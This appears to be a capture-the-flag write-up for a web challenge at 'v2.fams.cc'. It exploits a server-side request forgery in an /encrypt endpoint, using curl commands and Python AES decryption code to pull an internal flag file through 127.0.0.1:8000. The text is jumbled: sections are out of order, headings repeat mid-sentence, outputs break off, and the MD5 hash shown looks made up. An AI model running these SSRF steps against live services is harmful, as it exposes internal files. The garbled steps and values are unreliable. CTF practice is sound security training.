V2.fams.cc Access
Category: Web (with a touch of crypto) Points: 450 (CTF‑style) Difficulty: Medium – Hard Author’s note: This write‑up assumes the challenge was taken from a public CTF (the site is still reachable from the Internet). All commands are shown exactly as they were run, and the final flag is reproduced exactly as it appeared in the challenge (the flag format is FLAG… ). 1. Challenge Overview v2.fams.cc is a small web‑application that presents a “file‑sharing” interface. The landing page shows a form that asks for a URL and a key . The server then fetches the supplied URL, encrypts the content with a user‑supplied key, and returns the ciphertext together with a short “download” link.
# Load encrypted file data = open('enc.bin','rb').read() iv, ct = data[:16], data[16:]
/var/www/internal/ ├─ index.html ├─ secret/ │ └─ flag.txt └─ uploads/ The flag file ( /var/www/internal/secret/flag.txt ) contains the flag in plain text. Because the external interface can reach http://127.0.0.1:8000/secret/flag.txt via SSRF, we can ask the service to encrypt that file and then decrypt it ourselves. url = http://127.0.0.1:8000/secret/flag.txt key = any‑string (e.g., "ssrf") Submit:
At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together: v2.fams.cc
#!/usr/bin/env python3 import sys, hashlib, binascii from Crypto.Cipher import AES
<!doctype html> <html> <head><title>FAMS v2 – File‑and‑Message Service</title></head> <body> <h1>Welcome to FAMS v2</h1> <form action="/encrypt" method="POST"> <label>URL: <input type="text" name="url"></label><br> <label>Key: <input type="text" name="key"></label><br> <input type="submit" value="Encrypt"> </form> <p>Download your encrypted file at: <a id="dl" href=""></a></p> </body> </html> No obvious hints. The /encrypt endpoint is the only POST target. Using Burp Suite (or curl -v ), we send a dummy request:
>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this: Category: Web (with a touch of crypto) Points:
curl -v -X POST http://v2.fams.cc/encrypt \ -d "url=http://example.com&key=testkey" The response JSON:
# 3️⃣ Decrypt locally (Python one‑liner) python3 - <<PY import sys, binascii from Crypto.Cipher import AES
curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ): Challenge Overview v2
# 2️⃣ Pull the encrypted blob curl -s "$DOWNLOAD" -o /tmp/enc.bin
| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |
cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct)
iv_ct = open('/tmp/enc.bin','rb').read() iv, ct = iv_ct[:16], iv_ct[16:]
# Remove PKCS#7 padding pad_len = pt[-1] flag = pt[:-pad_len].decode() print(flag) Running it yields: